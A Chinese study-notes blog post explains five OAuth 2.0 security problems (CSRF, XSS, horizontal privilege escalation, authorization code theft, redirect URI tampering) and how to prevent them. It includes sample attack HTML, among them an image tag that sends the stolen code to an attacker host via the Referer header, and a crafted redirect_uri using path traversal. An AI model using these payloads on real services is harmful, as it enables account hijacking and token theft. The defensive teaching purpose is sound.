OAuth2.0可能存在的安全问题

Hi，我是阿昌，今天学习记录的是关于OAuth2.0可能存在的安全问题的内容。

“OAuth 2.0 不是一种安全协议吗，不是保护 Web API 的吗？为啥 OAuth 2.0 自己还有安全的问题了呢？”

首先，OAuth 2.0 的确是一种安全协议。但是它有很多使用规范，比如授权码是一个临时凭据只能被使用一次，要对重定向 URI 做校验等。如果使用的时候你没有按照这样的规范来实施，就会有安全漏洞了。
其次，OAuth 2.0 既然是“生长”在互联网这个大环境中，就一样会面对互联网上常见安全风险的攻击，比如跨站请求伪造（Cross-site request forgery，CSRF）、跨站脚本攻击（Cross Site Scripting，XSS）。
最后，除了这些常见攻击类型外，OAuth 2.0 自身也有可被利用的安全漏洞，比如授权码失窃、重定向 URI 伪造。

接下来， 5 个典型的安全问题，其中 CSRF、XSS、水平越权这三种是互联网环境下常见的安全风险，授权码失窃和重定向 URI 被篡改属于 OAuth2.0“专属”的安全风险。

一、CSRF 攻击

对于 CSRF 的定义，《OAuth 2 in Action》这本书里的解释：恶意软件让浏览器向已完成用户身份认证的网站发起请求，并执行有害的操作，就是跨站请求伪造攻击。它是互联网上最为常见的攻击之一。在实践 OAuth2.0 的过程，其实就是在构建一次互联网的应用。因此，OAuth 2.0 同样也会面临这个攻击。通过一个案例和你说明这个攻击类型。

有一个软件 A，让它来扮演攻击者，让它的开发者按照正常的流程使用应用。

当该攻击者授权后，拿到授权码的值 codeA 之后，“立即按下了暂停键”，不继续往下走了。

这时，有一个第三方软件 B，比如咱们的 Web 版应用，来扮演受害者吧。

当然最终的受害者是用户，这里是用 Web 版应用来作为被软件 A 攻击的对象。

应用用于接收授权码的回调地址为 https://app.org/callback。有一个用户 G 已经在应用的平台登录，且对极客时间进行了授权，也就是用户 G 已经在极客时间平台上有登录态了。

如果此时攻击者软件 A，在自己的网站上构造了一个恶意页面：

<html>
<img src ="https://app.org/callback？code=codeA">
</html>

如果这个时候用户 G 被攻击者软件 A 诱导而点击了这个恶意页面，那结果就是，应用使用 codeA 值去继续 OAuth 2.0 的流程了。

这其实就走完了一个 CSRF 攻击的过程，如下图所示：

在这里插入图片描述

如果将 OAuth 2.0 用于了身份认证，那么就会造成严重的后果，因为用户 G 使用的极客时间的授权上下文环境跟攻击者软件 A 的授权上下文环境绑定在了一起。

假如，应用提供了用户账号和微信账号做绑定的功能，也就是说用户先用自己的账号登录，然后可以绑定微信账号，以便后续可以使用微信账号来登录。在绑定微信账号的时候，微信会咨询你是否给极客时间授权，让它获取在微信上的个人信息。这时候，就需要用到 OAuth 2.0 的授权流程。

如果攻击者软件 A，通过自己的应用账号事先做了上面的绑定操作，也就是说攻击者已经可以使用自己的微信账号来登录应用了。

那有一天，软件 A 想要“搞事情”了，便在发起了一个授权请求后构造了一个攻击页面，里面包含的模拟代码正如我在上面描述的那样，来诱导用户 G 点击。而用户 G 已经用极客时间的账号登录了应用，此时正要去做跟微信账号的绑定。

如果这个时候他刚好点击了攻击者 A“种下”的这个恶意页面，那么后面换取授权的访问令牌 access_token，以及通过 accces_token 获取的信息就都是攻击者软件 A 的了。这就相当于，用户 G 将自己的应用的账号跟攻击者软件 A 的微信账号绑定在了一起。这样一来，后续攻击者软件 A 就能够通过自己的微信账号，来登录用户 G 的应用了。

这个后果可想而知。那如何避免这种攻击呢？方法也很简单，实际上 OAuth 2.0 中也有这样的建议，就是使用 state 参数，它是一个随机值的参数。

还是以上面的场景为例，当应用请求授权码的时候附带一个自己生成 state 参数值，同时授权服务也要按照规则将这个随机的 state 值跟授权码 code 一起返回给极客时间。

这样，当应用接收到授权码的时候，就要在应用这一侧做一个 state 参数值的比对校验，如果相同就继续流程，否则直接拒绝后续流程。

在这样的情况下，软件 A 要想再发起 CSRF 攻击，就必须另外构造一个 state 值，而这个 state 没那么容易被伪造。

这本就是一个随机的数值，而且在生成时就遵从了被“猜中”的概率要极小的建议。

比如，生成一个 6 位字母和数字的组合值，显然要比生成一个 6 位纯数字值被“猜中”的概率要小。所以，软件

二、XSS 攻击

XSS 攻击的主要手段是将恶意脚本注入到请求的输入中，攻击者可以通过注入的恶意脚本来进行攻击行为，比如搜集数据等。

截止到 2020 年 6 月 23 日，在 OWASP（一个开源的 Web 应用安全项目）上查看安全漏洞排名的话，它依然在TOP10榜单上面，可谓“大名鼎鼎”。

网络上有很多关于 XSS 的介绍了，看看《XSS 攻击原理分析与防御技术》这篇文章，它很清晰地分析了 XSS 的原理以及防御方法。主要看看它是怎么在 OAuth 2.0 的流程中“发挥”的。

当请求抵达受保护资源服务时，系统需要做校验，比如第三方软件身份合法性校验、访问令牌 access_token 的校验，如果这些信息都不能被校验通过，受保护资源服务就会返回错误的信息。

图2 XSS攻击过程

大多数情况下，受保护资源都是把输入的内容，比如 app_id invalid、access_token invalid ，再回显一遍，这时就会被 XSS 攻击者捕获到机会。

试想下，如果攻击者传入了一些恶意的、搜集用户数据的 JavaScript 代码，受保护资源服务直接原路返回到用户的页面上，那么当用户触发到这些代码的时候就会遭受到攻击。

因此，受保护资源服务就需要对这类 XSS 漏洞做修复，而具体的修复方法跟其它网站防御 XSS 类似，最简单的方法就是对此类非法信息做转义过滤

三、水平越权

水平越权是指，在请求受保护资源服务数据的时候，服务端应用程序未校验这条数据是否归属于当前授权的请求用户。

这样不法者用自己获得的授权来访问受保护资源服务的时候，就有可能获取其他用户的数据，导致水平越权漏洞问题的发生。

攻击者可越权的操作有增加、删除、修改和查询，无论更新操作还是查询操作都有相当的危害性。

以“小兔打单软件”为例，第三方开发者开发了这款打单软件，目前有两个商家 A 和商家 B 购买并使用。

现在小兔打单软件上面提供了根据订单 ID 查询订单数据的功能，如下图所示。

图3 水平越权发生场景

商家 A 和商家 B 分别给小兔打单软件应用做了授权，也就是说，小兔打单软件可以获取商家 A 和商家 B 的订单数据。

此时没有任何问题，那么商家 A 可以获取商家 B 的订单数据吗？答案是，极有可能的。

在开放平台环境下，授权关系的校验是由一般由开放网关这一层来处理，因为受保护资源服务会散落在各个业务支持部门。

请求数据通过开放网关之后由访问令牌 access_token 获取了用户的身份，比如商家 ID，就会透传到受保护资源服务，也就是上游接口提供方的系统。

此时，如果受保护资源服务没有对商家 ID 和订单 ID 做归属判断，就有可能发生商家 A 获取商家 B 订单数据的问题，造成水平越权问题。

图4 水平越权示例图

发生水平越权问题的根本原因，还是开发人员的认知与意识不够。

如果认知与意识跟得上，那在设计之初增加归属关系判断，比如上面提到的订单 ID 和商家 ID 的归属关系判断，就能在很大程度上避免这个漏洞。

同时，在开放平台环境下，由于开放网关和数据接口提供方来自不同的业务部门，防止水平校验的逻辑处理很容易被遗漏：

一方面，开放网关的作用是将用户授权之后的访问令牌 access_token 信息转换成真实的用户信息，比如上面提到的商家 ID，然后传递到接口提供方，数据归属判断逻辑只能在接口提供方内部处理；
另一方面，数据提供方往往会认为开放出的接口是被“跟自己一个公司的系统所调用的”，容易忽略水平校验的逻辑处理。

所以，在开放平台环境下，我们就要更加重视与防范数据的越权问题。

以上，CSRF 攻击、XSS 攻击、水平越权这三种攻击类型，它们都属于 OAuth 2.0 面临的互联网非常常见的通用攻击类型。

对于其他的互联网攻击类型，想深入了解的话，可以看一下这篇安全案例回顾的文章。

接下来，再看两种 OAuth 2.0 专有的安全攻击，分别是授权码失窃、重定向 URI 被篡改。

四、授权码失窃

如果第三方软件 A 有合法的 app_id 和 app_secret，那么当它去请求访问令牌的时候，也是合法的。

如果有一个用户 G 对第三方软件 B，进行授权并产生了一个授权码 codeB，但并没有对攻击者软件 A 授权。

此时，软件 A 是不能访问用户 G 的所有数据的。但这时，如果软件 A 获取了这个 codeB，是不是就能够在没有获得用户 G 授权的情况下访问用户 G 的数据了？

整个过程如下图所示。

图5 授权码失窃攻击过程

这时问题的根源就在于两点：

授权服务在进行授权码校验的时候，没有校验 app_id_B；
软件 B（也就是引用）使用过一次 codeB 的值之后，授权服务没有删除这个 codeB；

看到这里，通过校验 app_id_B，并删除掉使用过一次的授权码及其对应的访问令牌，就可以从根本上来杜绝授权码失窃带来的危害了。

授权码到底是怎么失窃的呢？这也是 OAuth 2.0 中因重定向 URI 校验方法不当而遭受到的一种危害。

这种安全攻击类型，就是重定向 URI 被篡改。

五、重定向 URI 被篡改

有的时候，授权服务提供方并没有对第三方软件的回调 URI 做完整性要求和完整性校验。

比如，第三软件 B 的详细回调 URI 是https://app.org/callback，那么在完整性校验缺失的情况下，只要以https://app.org开始的回调 URI 地址，都会被认为是合法的。

此时，如果黑客在https://app.org/page/下，创建了一个页面 hacker.html。

这个页面的内容可以很简单，其目的就是让请求能够抵达攻击者的服务。

<html>
<img src ="https://clientA.com/catch">
</html>

好了，继续看下接下来的攻击流程：

图6 重定向URI被篡改的攻击过程

首先，黑客将构造的攻击页面放到对应的 hacker.html 上，也就是https://app.org/page/hacker.html上，同时构造出了一个新的重定向 URI，即https://app.org/page/welcome/back.html../hacker.html。

然后，黑客利用一些钓鱼手段诱导用户，去点击下面的这个地址：

https://oauth-server.com/auth?respons_type=code&client_id=CLIENTID&redirect_uri=https://app.org/page/welcome/back.html../hacker.html

这样当授权服务做出响应进行重定向请求的时候，授权码 code 就返回到了 hacker.html 这个页面上。

最后，黑客在https://clientA.com/catch页面上，解析 Referrer 头部就会得到用户的授权码，继而就可以像授权码失窃的场景中那样去换取访问令牌了。

如果授权服务要求的回调 URI 是https://app.org/callback，并做了回调 URI 的完整性校验，那么被篡改之后的回调地址https://app.org/page/welcome/back.html../hacker.html就不会被授权服务去发起重定向请求。严格来讲，要发生这样的漏洞问题，条件还是比较苛刻的。

从图 6 的重定向 URI 被篡改的流程中，也可以看到，只要我们在授权服务验证第三方软件的请求时做了签名校验，那么攻击者在只拿到授权码 code 的情况下，仍然无法获取访问令牌，因为第三方软件只有通过访问令牌才能够访问用户的数据。

但是，如果这些防范安全风险的规范建议你通通都没有遵守，那就是在给攻击者“大显身手”的机会，让你的应用软件以及用户遭受损失。

六、总结

OAuth 2.0 相关的常见又比较隐蔽的 5 种安全问题，包括 CSRF 攻击、XSS 攻击、水平越权、授权码失窃、重定向 URI 被篡改。

以下三个知识点：

互联网场景的安全攻击类型比如 CSRF、XSS 等，在 OAuth 2.0 中一样要做防范，因为 OAuth 2.0 本身就是应用在互联网场景中。
除了常见的互联网安全攻击，OAuth 2.0 也有自身的安全风险问题，比如授权码失窃、重定向 URI 被篡改。
这些安全问题，本身从攻击的“技术含量”上并不高，但导致这些安全风险的因素，往往就是开发人员的安全意识不够。比如，没有意识到水平越权中的数据归属逻辑判断，需要加入到代码逻辑中。

其实，OAuth 2.0 的规范里面对这些安全问题都有对应的规避方式，但都要求我们使用的时候一定要非常严谨。

比如，重定向 URI 的校验方式，规范里面是允许模糊校验的，但在结合实际环境的时候，又必须做到精确匹配校验才可以保障 OAuth 2.0 流转的安全性。

在这里插入图片描述